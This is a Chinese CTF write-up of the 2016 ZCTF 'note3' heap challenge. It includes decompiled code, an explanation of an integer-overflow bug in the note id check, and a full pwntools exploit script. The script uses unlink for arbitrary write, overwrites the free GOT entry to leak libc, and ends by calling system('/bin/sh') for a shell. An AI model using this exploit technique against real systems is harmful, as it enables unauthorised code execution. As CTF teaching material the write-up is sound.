2016 ZCTF——note3
64位程序,没开PIE #unlink #整数溢出
SRE实战 互联网时代守护先锋,助力企业售后服务体系运筹帷幄!一键直达领取阿里云限量特价优惠。程序逻辑
1 void __fastcall main(__int64 a1, char **a2, char **a3) 2 { 3 setvbuf(stdin, 0LL, 2, 0LL); 4 setvbuf(stdout, 0LL, 2, 0LL); 5 setvbuf(stderr, 0LL, 2, 0LL); 6 alarm(0x3Cu); 7 while ( 1 ) 8 { 9 switch ( (unsigned int)sub_400A1B(60LL, 0LL) ) 10 { 11 case 1u: 12 newnote(); 13 break; 14 case 2u: 15 shownote(); 16 break; 17 case 3u: 18 editnote(); 19 break; 20 case 4u: 21 delnote(); 22 break; 23 case 5u: 24 puts("Bye~"); 25 exit(0); 26 return; 27 case 6u: 28 exit(0); 29 return; 30 default: 31 continue; 32 } 33 } 34 }
newnote函数
1 int sub_400A30() 2 { 3 void *v1; // ST18_8 4 signed int i; // [rsp+Ch] [rbp-14h] 5 __int64 size; // [rsp+10h] [rbp-10h] 6 7 for ( i = 0; i <= 6 && ptr[i]; ++i ) 8 ; 9 if ( i == 7 ) 10 puts("Note is full, add fail"); 11 puts("Input the length of the note content:(less than 1024)"); 12 size = sub_4009B9("Input the length of the note content:(less than 1024)"); 13 if ( size < 0 ) 14 return puts("Length error"); 15 if ( size > 1024 ) 16 return puts("Content is too long"); 17 v1 = malloc(size); 18 puts("Input the note content:"); 19 sub_4008DD(v1, size, 10LL); 20 ptr[i] = v1; 21 qword_6020C0[i + 8LL] = size; 22 qword_6020C0[0] = (__int64)ptr[i]; 23 return printf("note add success, the id is %d\n", (unsigned int)i); 24 }
所有的笔记 malloc 出来的指针存放在 bss 上全局数组 bss_ptr 中,这个数组最多可以存放 7 个 heap_ptr。 而且 heap_ptr 对应的 size 也被放在 bss_ptr 数组中。current_ptr 表示当前笔记,bss 布局如下。
1 .bss: 2 current_ptr 3 note0_ptr 4 note1_ptr 5 note2_ptr 6 note3_ptr 7 note4_ptr 8 note5_ptr 9 note6_ptr 10 note0_size 11 note1_size 12 note2_size 13 note3_size 14 note4_size 15 note5_size 16 note6_size
editnote函数
1 int editnote() 2 { 3 signed __int64 v0; // rax 4 void *v1; // rax 5 signed __int64 v3; // [rsp+8h] [rbp-8h] 6 7 puts("Input the id of the note:"); 8 v0 = sub_4009B9("Input the id of the note:"); //对id没有进行验证,为负数也可以通过 9 v3 = v0 10 - 7 11 * (((signed __int64)((unsigned __int128)(5270498306774157605LL * (signed __int128)v0) >> 64) >> 1) - (v0 >> 63)); 12 if ( v0 13 - 7 14 * (((signed __int64)((unsigned __int128)(5270498306774157605LL * (signed __int128)v0) >> 64) >> 1) - (v0 >> 63)) >= v0 ) 15 { 16 v1 = ptr[v3]; 17 if ( v1 ) 18 { 19 puts("Input the new content:"); 20 sub_4008DD(ptr[v3], qword_6020C0[v3 + 8], 10LL); 21 qword_6020C0[0] = (__int64)ptr[v3]; 22 LODWORD(v1) = puts("Edit success"); 23 } 24 } 25 else 26 { 27 LODWORD(v1) = puts("please input correct id."); 28 } 29 return (signed int)v1; 30 }
利用思路
首先创建 7 个 note,然后 edit note3 使 current_ptr 指向 note3,之后使用 - 1 溢出 note3
之后释放 note4,note3 与 note4 就会合并。note3_ptr 会指向 note0_ptr 的位置。这样我们通过不断的修改 note0_ptr 的值和 edit note0 就可以实现任意地址写数据。
先将free_got覆盖为puts,泄漏libc基地址
expolit
1 from pwn import * 2 #sh=process('./note3') 3 sh=remote('127.0.0.1',9999) 4 elf=ELF('./note3') 5 libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') 6 7 def newnote(size,content): 8 sh.recvuntil('>>\n') 9 sh.sendline('1') 10 sh.recvuntil('1024)\n') 11 sh.sendline(str(size)) 12 sh.recvuntil('content:\n') 13 sh.sendline(content) 14 15 def editnote(index,content): 16 sh.recvuntil('>>\n') 17 sh.sendline('3') 18 sh.recvuntil('note:\n') 19 sh.sendline(str(index)) 20 sh.recvuntil('ent:\n') 21 sh.sendline(content) 22 23 def delnote(index): 24 sh.recvuntil('>>\n') 25 sh.sendline('4') 26 sh.recvuntil('note:\n') 27 sh.sendline(str(index)) 28 29 newnote(0x80,'aaaaaa') 30 newnote(0x80,'aaaaaa') 31 newnote(0x80,'aaaaaa') 32 newnote(0x80,'aaaaaa') 33 newnote(0x80,'aaaaaa') 34 newnote(0x80,'aaaaaa') 35 newnote(0x80,'/bin/sh') 36 37 inter=-9223372036854775808 38 payload=p64(0) 39 payload+=p64(0x81) 40 payload+=p64(0x6020e0-0x18) 41 payload+=p64(0x6020e0-0x10) 42 payload=payload.ljust(0x80,'a') 43 payload+=p64(0x80) 44 payload+=p64(0x90) 45 editnote(3,'a') 46 editnote(inter,payload) //editnote(-1,payload) 此时size为note6地址 47 delnote(4) 48 49 free_got=elf.got['free'] 50 puts_plt=elf.plt['puts'] 51 atol_got=elf.got['atol'] 52 puts_got=elf.got['puts'] 53 54 editnote(3,p64(free_got)+p64(puts_got)) 55 editnote(0,p64(puts_plt)[:-1]) 56 delnote(1) 57 puts_adr=sh.recvuntil('\nDelete success\n',drop=True).ljust(8,'\x00') 58 puts_adr=u64(puts_adr) 59 print 'puts_adr: '+hex(puts_adr) 60 61 libc_base=puts_adr-libc.symbols['puts'] 62 sys_adr=libc_base+libc.symbols['system'] 63 binsh_adr=libc_base+libc.search('/bin/sh').next() 64 print 'libc_base: '+hex(libc_base) 65 print 'sys_adr: '+hex(sys_adr) 66 print 'binsh_adr: '+hex(binsh_adr) 67 editnote(0,p64(sys_adr)[:-1]) 68 editnote(3,p64(binsh_adr)[:-1]) 69 delnote(0) 70 sh.interactive()

更多精彩